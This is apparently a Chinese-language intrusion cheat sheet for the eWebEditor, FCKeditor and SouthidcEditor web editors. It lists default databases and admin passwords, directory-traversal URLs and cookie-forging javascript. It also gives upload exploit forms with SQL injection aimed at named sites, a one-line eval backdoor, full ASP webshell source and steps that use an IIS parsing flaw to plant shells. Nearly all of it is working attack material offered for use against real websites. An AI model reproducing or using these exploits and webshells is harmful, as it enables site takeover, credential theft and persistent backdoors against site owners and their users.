ewebeditor
默認數據庫路徑：[PATH]/db/ewebeditor.mdb [PATH]/db/db.mdb [PATH]/db/%23ewebeditor.mdb 默認密碼：admin/admin888 或 admin/admin 進入后台，也可嘗試 admin/123456/admin888 系統默認：ewebeditor.asp?id=content1&style=standard 樣式調用 eWebEditor.asp?id=45&style=standard1 查看版本： edit/dialog/about.html ewebeditor/dialog/about.html eweb/dialog/about.html ewebedit/dialog/about.html ewindoweditor/dialog/about.html /ewebeditor.asp?id=NewsContent&style=s_full 出現一堆編輯框，有遠程上傳，先點感嘆號！查看版本！ 直接訪問：Admin_Private.asp eWebEditor2.8.0最終版刪除任意文件漏洞： Example\NewsSystem目錄下的delete.asp phpupload.html 新密碼設置為 1":eval request("h")' 設置成功后，訪問asp/config.asp文件即可，一句話木馬被寫入到這個文件里面了 /ewebeditornet/upload.aspx 直接cer馬,不能上傳則輸入javascript:lbtnUpload.click();查看源代碼找地址，默認uploadfile這個文件夾 jsp的版本，根本沒有對上傳文件類型進行檢測！需要注意的是jsp版本的沒有上傳按鈕！直接選擇文件，回車就可以提交了！ ewebeditor可以列目錄，在ewebeditor后面添加admin_uploadfile.asp?id=14&dir=../.. ------------------------------------------------ eWebEditor踩腳印式入侵 脆弱描述： 當我們下載數據庫后查詢不到密碼MD5的明文時，可以去看看webeditor_style(14)這個樣式表，看看是否有前輩入侵過 或許已經賦予了某控件上傳腳本的能力，構造地址來上傳我們自己的WEBSHELL. 攻擊利用: 比如 ID=46 s-name =standard1 構造 代碼: ewebeditor.asp?id=content&style=standard ID和和樣式名改過后 ewebeditor.asp?id=46&style=standard1 ------------------------------------------------- -------------------------------------------------- eWebEditor遍歷目錄漏洞 第一種:ewebeditor/admin_uploadfile.asp?id=14 在id=14后面添加&dir=.. 再加 &dir=../.. &dir=http://www.xxx.com/../.. 看到整個網站文件了 第二種: ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./.. --------------------------------------------------- --------------------------------------------------- cookie欺騙： /eWebEditor/admin/login.php - admin_login.asp 隨便輸入一個用戶和密碼,會提示出錯了. javascript:alert(document.cookie="adminuser="+escape("admin")); javascript:alert(document.cookie="adminpass="+escape("admin")); javascript:alert(document.cookie="admindj="+escape("1")); --------------------------------------------------- 2.1.6的 直接用此exp <HTML><HEAD><TITLE>ewebeditor的upload文件上傳exp</TITLE><meta http-equiv="Content-Type" content="text/html; charset=gb2312"> </head><body bgcolor=orange> <tr>不是通殺，版本有區別！我就郁悶，落葉那JJ說文章沒說清楚，這份EXP就是根據文章寫出來的！落葉那家伙的EXP我看半天沒看明白有啥區別！<br></tr> <tr>文件傳到了uploadfile目錄下了</tr><br> <tr>不知道算不算0day，我是冰的原點</tr><br> <tr>至於利用方法就是修改源文件中的action，然后傳cer的馬馬就行了！</tr><br> <form action="http://www.yunsec.net/ewebeditor/upload.asp?action=save&type=IMAGE&style=firefox'%20union%20select%20S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,%20[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl%20from%20ewebeditor_style%20where%20s_name='standard'%20and%20'a'='a" method=post name=myform enctype="multipart/form-data"><input type=file name=uploadfile size=100 style="width:100%"><input type=submit value=傳吧></form> 2.1.6以前版本的用此exp <H1>ewebeditor asp版1.0.0 上傳漏洞利用程序----By HCocoa</H1><br><br> <form action="http://www.yunsec.net/ewebeditor/upload.asp?action=save&type=IMAGE&style=hcocoa' union select S_ID,S_Name,S_Dir,S_EditorHeader,S_Body,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer|aspx',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=100><br><br> <input type=submit value=Fuck> </form> 如果目錄不充許執行腳本，要換目錄，用這個exp.... /db可以自定義，不過要絕對路徑！ <form action="http://www.yunsec.net/upload.asp?action=save&type=IMAGE&style=horind' union select S_ID,S_Name,S_Dir,S_CSS,[S_UploadDir]%2b'/../db',S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|asa',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=100><br><br> <input type=submit value=Fuck> </form> 2.7.0版本注入點 http://www.XXX.COM/path/ewebeditor/ewebeditor.asp?id=article_content&style=full_v200 默認表名：eWebEditor_System默認列名：sys_UserName、sys_UserPass，然后利用nbsi進行猜解，對此進行注入取得賬號密碼 ewebeditor 2.7.5 上傳漏洞：這個用在修改了可以上傳asa但是提示沒有工具欄的情況下 <form action="http://www.yunsec.net/ewebedit/upload.asp?action=save&type=&style=可以上傳asa的樣式名" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=1 style="width:100%"> <input type=submit value="上傳了"></input> </form> 這個要下載它的數據庫看有沒有前輩的腳印才能利用！ ewebeditor 2.8.0 上傳漏洞：前提要開啟遠程上傳，然后傳一個webshell.jpg.asp即可，查看源代碼即可獲得shell地址。 這0day我從來沒成功過，不知道是真還是假！不過用另一個成功過 http://www.yunsec.net/ewebeditor.asp?id=NewsContent&style=s_full 調用這個樣式，會出現遠程上傳按紐，再用下面的方法遠程上傳！ 遠程上傳時執行代碼，導致get shell 1.把x.jpg.asp xiaoma.ASa放在同一目錄下 ——————x.jpg.asp ———————————————————————————————————— <% Set fs = CreateObject("Scripting.FileSystemObject") Set MyTextStream=fs.OpenTextFile(server.MapPath("\xiaoma.asp"),1,false,0) Thetext=MyTextStream.ReadAll response.write thetext %> ——————————————————————x.jpg.asp———————————————————— ————————xiaoma.ASa—————————————————————————— <%on error resume next%> <%ofso="scripting.filesystemobject"%> <%set fso=server.createobject(ofso)%> <%path=request("path")%> <%if path<>"" then%> <%data=request("dama")%> <%set dama=fso.createtextfile(path,true)%> <%dama.write data%> <%if err=0 then%> <%="success"%> <%else%> <%="false"%> <%end if%> <%err.clear%> <%end if%> <%dama.close%> <%set dama=nothing%> <%set fos=nothing%> <%="<form action='' method=post>"%> <%="<input type=text name=path>"%> <%="<br>"%> <%=server.mappath(request.servervariables("script_name"))%> <%="<br>"%> <%=""%> <%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%> <%="<br>"%> <%="<input type=submit value=save>"%> <%="</form>"%> ————————xiaoma.ASa—————————————————————————— 2.遠程上傳x.jpg.asp 受影響文件：eWebEditorNet/upload.aspx 利用方法：添好本地的cer的Shell文件。在瀏覽器地址欄輸入javascript:lbtnUpload.click();就能得到shell。嘿嘿....繞過了限制......成功的上傳了ASPX文件....文件默認的上傳后保存的地址是eWebEditorNet/UploadFile/現在來看看是否上傳成功..... php版:給出exp <form action="" method=post enctype="multipart/form-data"> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000"> URL:<input type=text name=url value="http://192.168.1.110/eWebEditor/" size=100><br> <INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov||| gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋體||||||0|||jpg|jpeg|||300|||FFFFFF|||1"> file:<input type=file name="uploadfile"><br> <input type=button value=submit onclick=fsubmit()> </form><br> <script> function fsubmit(){ form = document.forms[0]; formform.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en'; alert(form.action); form.submit(); } </script>
fckeditor
Fckeditor的版本。 FCKeditor/_whatsnew.html FCKeditor/editor/dialog/fck_about.html /FCKeditor/editor/dialog/imageuser.php 截斷上傳php asp aspx /fckeditor/editor/fckeditor.html ----------------------------------------------- 以JSP為例子的文件配置：查看配置和列出目錄下的文件. http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=../&CurrentFolder=%2F /FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector 上傳地址: http://www.xxx.com/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F http://www.xxx.com/fckeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/jsp/connector.jsp ../為根目錄 ---------------------------------------------- 其次,你確定下以下幾個上傳頁面是否真的被刪除了呢? /FCKeditor/editor/dialog/imageuser.php /FCKeditor/editor/filemanager/browser/default/browser.html /FCKeditor/editor/filemanager/browser/default/connectors/test.html /FCKeditor/editor/filemanager/upload/test.html /FCKeditor/editor/filemanager/connectors/test.html /FCKeditor/editor/filemanager/connectors/uploadtest.html 嗯,好吧,都已經刪除了,真是太倒霉了,怎么辦,確認下這些文件有哪個存在的么 /fckeditor/editor/filemanager/connectors/aspx/connector.aspx /fckeditor/editor/filemanager/connectors/asp/connector.asp /fckeditor/editor/filemanager/connectors/php/connector.php 如果存在,那太好了,你可以繼續看下去了,我這里以aspx的為例 1.查看Media目錄下的文件： /fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Media&CurrentFolder=%2F 紅色Media可以更改為File或者image,相應的進入文件或者圖片目錄下 2.利用iis解析漏洞創建1.asp特殊目錄 fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Media&CurrentFolder=%2F&NewFolderName=1.asp 紅色的是對應的Media目錄,藍色的是特殊目錄名字 3.構建表單,上傳webshell到特殊目錄 <form id="frmUpload" enctype="multipart/form-data" action="http://www.itatpro.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=Media&CurrentFolder=%2F1.asp" method="post"> Upload a new file:<br> <input type="file" name="NewFile" size="50"><br> <input id="btnUpload" type="submit" value="Upload"> </form> Version <=2.4.2 For php 在處理PHP 上傳的地方並未對Media 類型進行上傳文件類型的控制，導致用戶上傳任意文件！將以下保存為html文件，修改action地址。 <form id="frmUpload" enctype="multipart/form-data" action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br> <input type="file" name="NewFile" size="50"><br> <input id="btnUpload" type="submit" value="Upload"> </form> 其他上傳地址 FCKeditor/_samples/default.html FCKeditor/_samples/asp/sample01.asp FCKeditor/_samples/asp/sample02.asp FCKeditor/_samples/asp/sample03.asp FCKeditor/_samples/asp/sample04.asp
southidceditor
http://www.xxx.com/admin/southidceditor/datas/southidceditor.mdb http://www.xxx.com/admin/southidceditor/admin/admin_login.asp http://www.xxx.com/admin/southidceditor/popup.asp http://www.xxx.com/admin/southidceditor/login.asp http://www.xxx.com/admin/Southidceditor/admin_style.asp?action=copy&id=14 http://www.xxx.com/admin/SouthidcEditor/Admin_Style.asp?action=styleset&id=47 http://www.xxx.com/admin/Southidceditor/ewebeditor.asp?id=57&style=southidc
最后說2句:
在粘貼復制之前,首先確定目標是windows還是linux. 對於大小寫敏感.
例如:/FCKeditor/editor/filemanager/browser/default/connectors/test.html
與 /fckeditor/editor/filemanager/browser/default/connectors/test.html 均得測試看看.